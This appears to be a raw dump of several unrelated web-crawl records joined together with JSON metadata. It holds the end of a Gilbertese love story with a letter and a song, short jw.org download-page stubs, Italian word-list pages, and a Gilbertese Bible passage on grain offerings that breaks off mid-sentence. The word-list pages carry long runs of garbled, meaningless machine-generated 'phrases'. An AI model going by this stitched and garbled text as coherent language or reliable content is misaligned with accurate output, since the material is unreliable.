Banaba. Ngaia I bon kina bwa are bon aekakim naba. An birinako bwa I aonga ni manga rimwiiko n nakoati.\nE aki tabwara teuae Aitai ao e a birinako naba. E roko irarikin Teitiba ao bon te aoa 2 n te karangaiana ao e tataninga raona are Nei Nangirube. Tao te itera n aoa ao e a kaoti neiere e kakantaningaia. E aki tabwara ma e taua baina ao e katoka iaon te waa ao a katea naba aia ie ni birinako ni kaineta marawa. E bon rangi ni kukurei teuae Aitai, bwa are e a toka irarikin raona are bukin rokona i Tamana. E a bua naba Tamana ngke roo inanon borauia anne.\nNgke e a noora neiere raona arei bwa e wene ni matu, ao e a kaaniia man rabwatia man bwaeta nanona nakon neierei ibukin tangirakina ae moan te bati. Neiko I a bon kaota nanou ae I tangiriko ao bon akea riki. Imwina ao e a bwaka ni matu naba irarikin raona arei. Teuare te Tia Borau are Teitiba e a bon kakabuti ni ira tokaraoin te ang. Ngke e a tabwena mainiku, ao are a bon matu naba ataei aika uoman aikai. E a oti raoi taai ao e a kautiia Teitiba man taku Aitai, Aitai, Aitai an uti bwa e a oti taai.\nOh E a kaure matana ao e taraa taai.E a manga rabwata raona arei ao e a kautia. Nei Nangirube, Nei Nangirube,\nE a kauti matana neiere raona arei ao ai bon te mimi iroun Aitai!\nTera ae riki ngkai! Enga Nei Nangirube?\nE kubanako naba Teitiba ao e taku Nao ao bon anne raom are ko kairia! Raou? Kai tiaki Nei Nangirube aio,\nAo antai neienne?\nTarina aio are te ataei riki.Ai kawara ngai iroun Nei Nangirube be keweai. E ororea atuna iaon te waa ao e taku I kananoanga bwa I kekeweaki.\nE a teirake neiere Nei Ereri ao e karautaeka nakon Aitai, ao e taku. Aitai, aio am reta ae anganai imwain nakou n rimwiiko.\nE anaa te reta arei ao e warekia:-\nDear Aitai,\nI a bon rimoa ni kabwara au bure nakoim ao ni kakaitauko ibukin am tangira ae kororaoi ae I nora tokina nakoiu ngkai ko roko ni inaai mai abau ae Tamana.\nI uringa ara tangira i Banaba inanon ara Primary School aika moan te kakukurei ao ni itiaki i mataia aomata aika norira. I uringa naba arora n tatakakaro inanon ara tangira aika akea kabotauaia. I uringa am taeka are ko na bon aki kona ni kaaki tangirau. I uringa naba uruakin nanora ae korakora ngke a kaokai tamau ao I a iria naba n n oki nako Tamana. I bon ataia naba ae ko rootaki n te rawawata ngke e aki reke ara tai ni maroro imwain kitanakin Banaba.\nI kananoanga bwa I bon rangi ni kainano n tangiriko, I rangi n nanokawaki ngkai e aki koro bukin ara tangira are ti a kaman reitaki iai.\nI kan kamatata raoi ma au tangira ae e itiaki ae ko na aki karawawataaki iai, bwa I a bon tia n aki kororaoi nakoim bwa I a tia n toua te kawai ae I ataia bwa tiaki ngai te aomata ae riai bwa ko na bunna. I a tia ni bubutia tariu ae Nei Ereri be na onea mwiiu ngkai I ataia bwa e bon kinako naba ao I ataia naba be na bon reke naba tangirakim irouna ngkai e bon aki toki naba n nonoriko i Banaba.Ai bon au katekeraoi nakoimi ni kauoman. I butiko bwa ko na katokai au berita ni kabane iaon Nei Ereri.\nTi a boo te tangira ae ake n aiarona\nNgai Nei Nangirube.\nA bwaka ranimatan Aitai ma e a karaua nanona ngke a noora Nei Ereri irarikina ae moan te tikiraoi ao ae wii ngare nakoina.\nE a taetae ngkanne Aitai nakon Nei Ereri.Kabwara au bure bwa I bon aki kantaninga te bwai ae na riki aio nakoiu. Ko bati n rabwa naba ni butimwaeakin au tangira ae tia ni moti karaina ni manga tomaia. N na bon bane ni kakoroi bukin bwaai ni kabane aika e tuangai tarim are Nei Nangirube. I a kamatoa bwa I bon tangiriko ao akea riki irarikim.\nInanon aia kakarabakau, ao e a ria Beru.\nE a ria Beru ana taeka Teitiba\nEng, e a ria?\nNgke e a anene Teitiba bwa e a kukurei ao e anenea kunan Iuta are kangai:\nE a tau te nako Orona bwa ti na nako n roko iai\nTe aba ae I aki ataia ngai ao a aki ataia tibu.\nChorus: N na iririko ni boborau\nN nna iririko ni boborau\nN na iri N na iri\nN na iriko N na iriko\nE rabwa Iuta n arona\nNgke karekea te iango aei\nAre ti na kabwaia iai\nMa raora ni kabane iai.\nE a tau an tai manga rairaki\nN tara abam ae nangi tiku\nE a tau teirake ti a nako\nBwa Ti nang kitana BERU.\nE moti ana anene Teitiba ao e a tuka ieni waana iaon Biken Tokia i Tabiang i Beru.\nAi te baka tera i aon Tabiang!ngke e a karairaki te mwananga mai Tamana.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2014\/08\/15\/e-taenoa-te-tangira-2\/","date":"2018-02-24T12:03:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00610.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":5509,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te Beeba ni Kakao Nakon te Taromauri KAREKEI N AEKAIA AIKAI Te Beeba ni Kakao Nakon te Taromauri Karekei booki aika Digital n aekaia aikai PDF Tibwaia BOOKI & BOROUTIA Te Beeba ni Kakao Nakon te Taromauri Kiribati Te Beeba ni Kakao Nakon te Taromauri https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/inv\/GB\/wpub\/inv_GB_lg.jpg Tibwaia Tibwaia BOOKI & BOROUTIA Te Beeba ni Kakao Nakon te Taromauri Kiribati Te Beeba ni Kakao Nakon te Taromauri https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/inv\/GB\/wpub\/inv_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/Te-Beeba-ni-Kakao-Nakon-te-Taromauri\/","date":"2018-02-18T11:15:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811830.17\/warc\/CC-MAIN-20180218100444-20180218120444-00355.warc.gz","language":"gil","language_score":0.9991793633,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9991793632507324}","num_words":65,"character_repetition_ratio":0.18,"word_repetition_ratio":0.357,"special_characters_ratio":0.193,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A04 > arks\nPAROLA : arks\nLUNGHEZZA : 04\nALFAGRAMMA : akrs\nELENCO PAROLE CONTENUTE IN : arks\ndi 02 lettere :\nar\nrk\nks\ndi 03 lettere : ark rks\nALCUNE PAROLE CHE CONTENGONO : arks\nbulwarks barks fingermarks pockmarks harks starks clarkson clarks arksansas tyarks ozarks darks marksen barksadle harksen larks parkside earmarks katzmarks leemarks tjarks warksow markses sbmarks sarks watermarks bsparks wiparks slickparks hallmarks darksiders markson embarks footmarks darkside quotemarks gnuremarks geoparks 2fparks socialmarks danmarks apmarks aardvarks varks ballparks mintmarks reembarks disembarks tigersharks clearmarks patriciaclarkson rosaparks nicholassparks preserveourparks darksidetheatre denmarksuperstore kevinmarks darksalmon darkseagreen bmarks bookmarksite tenmarks amandamarks beachwaterparks bedsandbarks brookemarks charlottebarks darksingle dcparks hkbookmarks instateparks linkinparksa marksabol marksiebert parksareforpeople sterlingsilvermarks tacomapowerparks unclemarks venturemarks carparksupplies clarksonjones cmbookmarks feedbookmarks grammarsnarks istinyeparksatilik madparks maryjeannemarks medparks melbournecarparks ninesparks oliviamarks paradiselandmarks parksehwan phototrademarks rineparks sparksite sparksok starkseries warksabroad wikiparks austinlandbarks\nFRASI CHE INIZIANO CON : arks\naotv aou aou aou aou tat aou tats aouad aotp aotr aotrou aots aotus aotv\naotv aou aou aou tat aou tats aouad aotp aotr aotrou aots aotus aotv aou\naotv aou aou aou tat aou tats aou aou aou tat aou tats aouad aouads\naotv aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots aotus aotv\naotv aou aou aou aou tats aouad aouads aouali aotr aotrou aots aotus aotv aou\naotv aou aou aou tat aou aou aou aou tat aou tats aouad aouads aouali\naotv aou aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aotv\naotv aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aotv aou\naotv aou aou aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv\naotv aou aou aou tat aou tat aou tats aouad aouads aouali aouate aouatef aotv\naotv aou aou aou tat aou aou tats aouad aouads aouali aouate aouatef aotv aou\naotv aou aou aou tat aou tats aouad aou aou aou tat aou tats aouad\naotv aou aou aou tat aou tats aouad aouads aouali aouate aou aou aotus aotv\naotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aou aotus aotv\naotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aou aou aou\naotv aou aou aou tat aou tats aou aou tat aou aotrou aots aotus aotv\naotv aou aou aou tat aou tats aouad aou tat aou aotrou aots aotus aotv\naotv aou aou aou tat aou tats aouad aouads aou aotrou aots aotus aotv aou\naotv aou aou aou tat aou tats aouad aouads aouali aouate aou aou aou tat\naotv aou aou aou aotus aotv aou aou aoto aotoole aotp aotr aotrou aots aotus\naotv aou aou aoto aotoole aotp aotr aotrou aots aotus aotv aou aou aou tat\naotv aou aou aou tat aou aotrou aots acvu nge peg peg zitta ab zita\naotv aou aou aou tat aou tats aouad aotp aotr aotp aotr aotrou aots aotus\naotv aou aou aou tat aou tats aouad aouads aouali aotp aotes aother aothing aoto\naotv aou aou aotp aotr aotrou aots aotus aotv aou aou aou aotus aotv aou\naotv aou aou aou aotus aotv aou aou aou tat aotp aotr aotrou aots aotus\naotv aou aou aou tat aotp aotr aotrou aots aotus aotv aou aou aou tat\naotv aou aou aou tat aou tats aouad aotp aotr aotrou aots aotus aots aotus\naotv aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots aots aotus\naotv aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aots aotus\naotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv aots aotus\naotv aots aotus aotv aou aou aou aotus aotv aou aou aou tat aou tats\naotv aou aou aou aotus aotv aou aou aou tat aou tats aouad aots aotus\naotv aou aou aou tat aou tats aouad aots aotus aotv aou aou aou tat\naotv aou aou aou tat aou aotrou aots aotus aotv aou aou aou aots aotus\naotv aou aou aou aots aotus aotv aou aou aou tat aou tats aouad aouads\naotv aou aotv aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots\naotv aotv aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aotv\naotv aou aotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv\naotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv aou aou\naotv aou aou aotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef\naotv aou aou aou aotus aotv aou aou aou tat aou tats aouad aouads aouali\naotv aou aou aou tat aou tats aouad aouads aouali aotv aou aou aou tat\naotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aouatis aouad\naotv aou aou aou tat aou aotrou aots aotus aotv aou aou aou tat aou\naotv aou aou aou tat aou aotv aou aou aou tat aou tats aouad aouads\nHOME > A04 > arks\n3755976911 SQ643WS\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nfirstname.lastname@example.org\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0400864.php","date":"2018-02-25T13:57:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816462.95\/warc\/CC-MAIN-20180225130337-20180225150337-00158.warc.gz","language":"gil","language_score":0.4233121872,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.4233121871948242, \"zea_Latn_score\": 0.4079577624797821, \"lim_Latn_score\": 0.10695755481719971, \"bre_Latn_score\": 0.03629748150706291, \"pmx_Latn_score\": 0.016184711828827858}","num_words":878,"character_repetition_ratio":0.369,"word_repetition_ratio":0.339,"special_characters_ratio":0.184,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.471,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA April 2015 KAREKEI N AEKAIA AIKAI April 2015 Karekei booki aika Digital n aekaia aikai EPUB PDF Karekean te taamnei aika raweaki n aekaia aika MP4 Tibwaia ARA MWAKURI NI MINITA April 2015 Kiribati ARA MWAKURI NI MINITA April 2015 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201504\/wpub\/km_GB_201504_lg.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA April 2015 Kiribati ARA MWAKURI NI MINITA April 2015 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201504\/wpub\/km_GB_201504_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201504\/","date":"2018-02-24T01:27:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814872.58\/warc\/CC-MAIN-20180223233832-20180224013832-00411.warc.gz","language":"gil","language_score":0.9701648951,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9701648950576782}","num_words":55,"character_repetition_ratio":0.166,"word_repetition_ratio":0.174,"special_characters_ratio":0.281,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A04 > arre\nPAROLA : arre\nLUNGHEZZA : 04\nALFAGRAMMA : aerr\nELENCO PAROLE CONTENUTE IN : arre\ndi 02 lettere :\nar\nrr\nre\ndi 03 lettere : arr rre\nALCUNE PAROLE CHE CONTENGONO : arre\nwarrensburg carrel quarrels tarred barrelhead scarred warrenton quarrelling charred arresting quarreling barrelmaker barrelmaking unscarred quarreled warred warrens unbarred marred barrens arrene harrell darrel farrel warrel warrell carreon carren starret stearrett marreeann carrell warrented quarrelsome barrera larren arrens harreck starrett carrensw farren sarrett pearre harresperger carrere villarreal farrer jarrell harrer harreson garren apparrel jarrett barreras navarrette marrell farrelly harrelson carrey recarrez carrero barret harrengton garretson harrel jarret sarres arrellin navarrete larret larremore arreola arrey zicarrelli parres tarrence harret barreled garrell garrel sharrer arrena warre arredondo karren parret lavarre harrette arrears harreld wilkesbarre carrena arrel carredo iribarren jarrels warrents barrelled garrettson farrester warrender\nFRASI CHE INIZIANO CON : arre\naots aotus aotv aou aou aou aou tat aou tats aouad aotp aotr aotrou aots\naots aotus aotv aou aou aou tat aou tats aouad aotp aotr aotrou aots aotus\naots aotus aotv aou aou aou tat aou tats aou aou aou tat aou tats\naots aotus aotv aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots\naots aotus aotv aou aou aou aou tats aouad aouads aouali aotr aotrou aots aotus\naots aotus aotv aou aou aou tat aou aou aou aou tat aou tats aouad\naots aotus aotv aou aou aou aou tat aou tats aouad aouads aouali aouate aots\naots aotus aotv aou aou aou tat aou tats aouad aouads aouali aouate aots aotus\naots aotus aotv aou aou aou tat aou tats aou aou tat aou aotrou aots\naots aotus aotv aou aou aou tat aou tats aouad aou tat aou aotrou aots\naots aotus aotv aou aou aou tat aou tats aouad aouads aou aotrou aots aotus\naots aotus aotv aou aou aou tat aou tats aouad aouads aouali aouate aou aou\naots aotus aoto aotoole aotp aotr aotrou aots aotus aotv aou aou aou aotus aotv\naots aotus aotv aou aou aou aotus aotv aou aou aoto aotoole aotp aotr aotrou\naots aotus aotv aou aou aou tat aou aotrou aots acvu nge peg peg zitta\naots acvu nge peg peg zitta ab zita implicato pur qui divergono due aoii per\naots aotus aotv aou aou aou tat aou tats aouad aotp aotr aotp aotr aotrou\naots aotus aotv aou aou aou tat aou tats aouad aouads aouali aotp aotes aother\naots aotus aotv aou aou aotp aotr aotrou aots aotus aotv aou aou aou aotus\naots aotus aotv aou aou aou aotus aotv aou aou aou tat aotp aotr aotrou\naots aotus aots aotus aotv aou aou aou tat aou tats aouad aouads aouali aotr\naots aots aotus aotv aou aou aou tat aou tats aouad aouads aouali aouate aots\naots aotus aots aotus aotv aou aou aou tat aou tats aouad aouads aouali aouate\naots aotus aotv aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv\naots aotus aotv aou aou aou aotus aotv aou aou aou tat aou tats aouad\naots aotus aotv aou aou aou tat aou aotrou aots aotus aotv aou aou aou\naots aotus aotv aou aou aou aots aotus aotv aou aou aou tat aou tats\naots aotus aotv aou aotv aou aou aou tat aou tats aouad aouads aouali aotr\naots aotus aotv aotv aou aou aou tat aou tats aouad aouads aouali aouate aots\naots aotus aotv aou aotv aou aou aou tat aou tats aouad aouads aouali aouate\naots aotus aotv aou aou aou tat aou aotv aou aou aou tat aou tats\naots aotus aou aou aou tat aou tats aouad aouada aouadgab aouads aouali aots\naots aotus aou aou aou tat aou tats aouad aouada aouadgab aouads aouali aouar\nHOME > A04 > arre\n3033016039 SS823NT\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0400863.php","date":"2018-02-20T09:34:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812932.26\/warc\/CC-MAIN-20180220090216-20180220110216-00637.warc.gz","language":"gil","language_score":0.4488695562,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.4488695561885834, \"zea_Latn_score\": 0.414366751909256, \"lim_Latn_score\": 0.1131676733493805}","num_words":682,"character_repetition_ratio":0.348,"word_repetition_ratio":0.266,"special_characters_ratio":0.19,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.486,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A04 > ampa\nPAROLA : ampa\nLUNGHEZZA : 04\nALFAGRAMMA : aamp\nELENCO PAROLE CONTENUTE IN : ampa\ndi 02 lettere :\nam\nmp\npa\ndi 03 lettere : mpa\nALCUNE PAROLE CHE CONTENGONO : ampa\nramparts rampaging rampage rampaged pampas nampa amparo pampanito champanare lampasas ampara campas trampa campagnano campanaro grampa zampach hamparty hampartz kampa jampa champagnolle campascca tampabay hampaakdidi hampaakidi hampaqin rampages lampassas bampaulw ciampa campau amparito piampaludo hampaakdi hampackdi hampakidi scampart wampanoags mashantampaigne trampas amparan sampaolisi spampani sampat campaigner campain tampare elecampane campazzie champaigne lampases campaan frampa lampard lamparter campaniles lampara champagnole zampador abrapampa sampaolesi sampada campaigners lampare 2fcampaigns teampage amparu akrampathhan campaigned ampatuan sampathkumar williampatry mabcampath campaj scampagnate giampalo stampando scampagnata pampari accampate campava prestampata strampalate campanilismi stampatello campailla campagnoli strampalati pampaloni zampaglione strampalato accampano scampate kampala prestampati campanilistici divampano divampa campanilistiche chiamparino\nFRASI CHE INIZIANO CON : ampa\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aob aoba aoarg aoau aoaz aob aoba\naoao aoao aoaq aoaqui aoar aoarg aoau aoaz aoam aoanan aoao aoaq aoaqui aoar\naoao aoaq aoaqui aoar aoarg aoau aoaz aoam aoanan aoao aoaq aoaqui aoar aoarg\naoao aoaq aoaqui aoar aoarg aoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba\naoao aoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba aoarg aoau aoaz aob aoba aobadai\naoao aoaq aoaqui aoar aoarg aoau aoaz aoao aoaq aoaqui aoar aoarg aoau aoaz aob\naoao aoaq aoaqui aoar aoarg aoau aoaz aoam aoanan aoao aoaq aoaqui aoam aoanan\naoao aoaq aoaqui aoam aoanan aoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba aoarg aoau aoaz aob aoam aoanan\naoao aoaq aoaqui aoar aoam aoanan aoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba\naoao aoaq aoaq aoaqui aoar aoarg aoau aoaz aoam aoanan aoao aoaq aoaqui aoar\naoao aoaq aoaqui aoar aoarg aoau aoaq aoaqui aoar aoarg aoau aoaz aob aoba\naoao aoaq aoaq aoaqui aoar aoarg aoau aoaz aob aoba aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aoaq aoaqui aoar aoarg aoau aoaz aob\naoao aoaq aoaqui aoar aoar aoarg aoau aoaz aoam aoanan aoao aoaq aoaqui aoar\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba aoar aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoar aoarg aoau aoaz aob aoba aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoau aoaz aoam aoanan aoao aoaq aoaqui aoar\naoao aoaq aoaqui aoar aoarg aoau aoaz aob aoba aobadai aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoau aoaz aob aoba aoarg aoau aoaz aob aoba\naoao aoaq aoaqui aoar aoarg aoau aoaz aoaz aob aoba aoarg aoau aoaz aob aoba\nHOME > A04 > ampa\n3977904773 QN610VX\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nfirstname.lastname@example.org\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0400662.php","date":"2018-02-18T06:56:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00602.warc.gz","language":"gil","language_score":0.4966111779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.49661117792129517, \"zea_Latn_score\": 0.4347075819969177, \"bch_Latn_score\": 0.018926627933979034, \"wap_Latn_score\": 0.01744925044476986, \"lim_Latn_score\": 0.013630824163556099}","num_words":508,"character_repetition_ratio":0.361,"word_repetition_ratio":0.291,"special_characters_ratio":0.175,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.54,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA May 2013 KAREKEI N AEKAIA AIKAI May 2013 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA May 2013 Kiribati ARA MWAKURI NI MINITA May 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA May 2013 Kiribati ARA MWAKURI NI MINITA May 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201305\/","date":"2018-03-20T10:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647327.52\/warc\/CC-MAIN-20180320091830-20180320111830-00060.warc.gz","language":"gil","language_score":0.7294248939,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.7294248938560486, \"atj_Latn_score\": 0.03671281039714813, \"dag_Latn_score\": 0.013259854167699814, \"run_Latn_score\": 0.010754590854048729}","num_words":45,"character_repetition_ratio":0.176,"word_repetition_ratio":0.222,"special_characters_ratio":0.226,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.674,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"What Happens at a Bible Study? KAREKEI N AEKAIA AIKAI What Happens at a Bible Study? Karekean te taamnei aika raweaki n aekaia aika MP4 Tibwaia TE TAAMNEI AE REREITAKI What Happens at a Bible Study? Kiribati What Happens at a Bible Study? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/whbs\/univ\/wpub\/whbs_univ_lg.jpg Tibwaia Tibwaia TE TAAMNEI AE REREITAKI What Happens at a Bible Study? Kiribati What Happens at a Bible Study? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/whbs\/univ\/wpub\/whbs_univ_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/What-Happens-at-a-Bible-Study\/","date":"2018-03-23T05:45:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648178.42\/warc\/CC-MAIN-20180323044127-20180323064127-00759.warc.gz","language":"gil","language_score":0.5800531507,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.5800531506538391, \"gaa_Latn_score\": 0.06821895390748978, \"lus_Latn_score\": 0.04745626822113991, \"chk_Latn_score\": 0.025561146438121796, \"twi_Latn_score\": 0.023069772869348526, \"mri_Latn_score\": 0.015197113156318665, \"mah_Latn_score\": 0.015114820562303066, \"kac_Latn_score\": 0.014913467690348625}","num_words":64,"character_repetition_ratio":0.182,"word_repetition_ratio":0.364,"special_characters_ratio":0.199,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2 \"'Ngkana e anga te karea te aomata*+ nakon Iehova, ae te karea ae te amwarake,* e riai ni kareana te burawa ae mte, ao e riai ni kabwaroa te oera i aona ao e na kaaki te ribano* i aona.+ 2 Ao e na uotia nakoia natin Aaron aika mwaane, ake ibonga,* ao te ibonga e na abuta mai iai te burawa ae mte ma te oera, ma ribano ni kabane ake iai, ao e na kabueki ni kabubui+ i aon te baonikarea bwa e na tei ibukin te karea anne ae kareanaki n te ai, ae te boi ae boiarara* iroun Iehova. 3 Bon tibwangan Aaron ma natina mwaane nikiran te karea ae te amwarake,+ ae te bwai ae moan te tabu+ mai buakoni karea ake a kareanaki n te ai nakon Iehova. 4 \"'Ngkana ko anga te karea ae te amwarake ae umunaki n te ai n umum, e riai ni karaoaki man te burawa ae mte, bwerena aika mronron aika aki karikaki aika renganaki ma te oera, ke bwerena aika mmani aika aki karikaki aika kabiraki aoia n te oera.+ 5 \"'Ngkana ko anga am karea man te baan, ae te karea ae te amwarake,+ e riai ni karaoaki man te burawa ae aki karikaki ae mte ae renganaki ma te oera. 6 E riai n ototeaki, ao ko na kabwaroa te oera i aona.+ Bon te karea ae te amwarake te baei. 7 \"'Ngkana ko anga am karea ae te karea ae te amwarake ae katauraoaki n te baan, e riai ni karaoaki man te burawa ae mte ao te oera. 8 Ko riai n uota te karea ae te amwarake ae karaoaki mani baikai nakon Iehova, ao e na anganaki te ibonga are e na uotia nako rarikin te baonikarea. 9 Ao e na anaa teutana te karea ae te amwarake te ibonga bwa e na tei ibukin te karea anne,+ ao e na kabuekia ni kabubua i aon te baonikarea bwa te karea ae kareanaki n te ai ae te boi ae boiarara* iroun Iehova.+ 10 Bon tibwangan Aaron ma natina mwaane nikiran te karea ae te amwarake, ae te bwai ae moan te tabu mai buakoni karea ake a kareanaki n te ai nakon Iehova.+ 11 \"'Kam na aki anga te amwarake ae renganaki ma te iiti bwa te karea nakon Iehova,+ bwa kam na aki kabueka te burawa ae karikaki* ke aia karewe manibeeru* ni kabubua bwa te karea ae kareanaki n te ai nakon Iehova. 12 \"'Kam kona n anga baikai nakon Iehova bwa te karea ae te moan uaa,+ ma kam na bon aki kabueki i aon te baonikarea bwa te boi ae boiarara.* 13 \"'Ko na taorona am karea ae te amwarake ni kabane n te taoro are kauringko taekan ana berita te Atua, ao tai kariaia bwa ko na aki taoronna. A na bane n taoronaki am karea ake ko anga.+ 14 \"'Ngkana ko anga te karea ae te amwarake mai buakoni moan uaanikai aika tawaa nakon Iehova, ko riai n anga amwi ni uita* aika menaai aika umunaki n te ai ma koraaia aika manti, bwa te karea ae te amwarake mai buakoni moan am uaanikai aika tawaa.+ 15 Ko na kabiri n te oera ma ni kaaki te ribano i aoia. Bon te karea ae te amwarake te baei. 16 E na kabuekia ni kabubua te ibonga bwa e na tei ibukin te karea aei,+ ae taekan teutana te koraa ae manti ao te oera, n ikotaki ma ribano ni kabane ake iai, bwa te karea ae kareanaki n te ai nakon Iehova.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"te karea ae te koraa.\" Nora Nanon Taeka.\n^ Te bua ni burawa ae uarereke ae katukaki ni karokoa ae e a kamangingi, ao e kabonganaaki 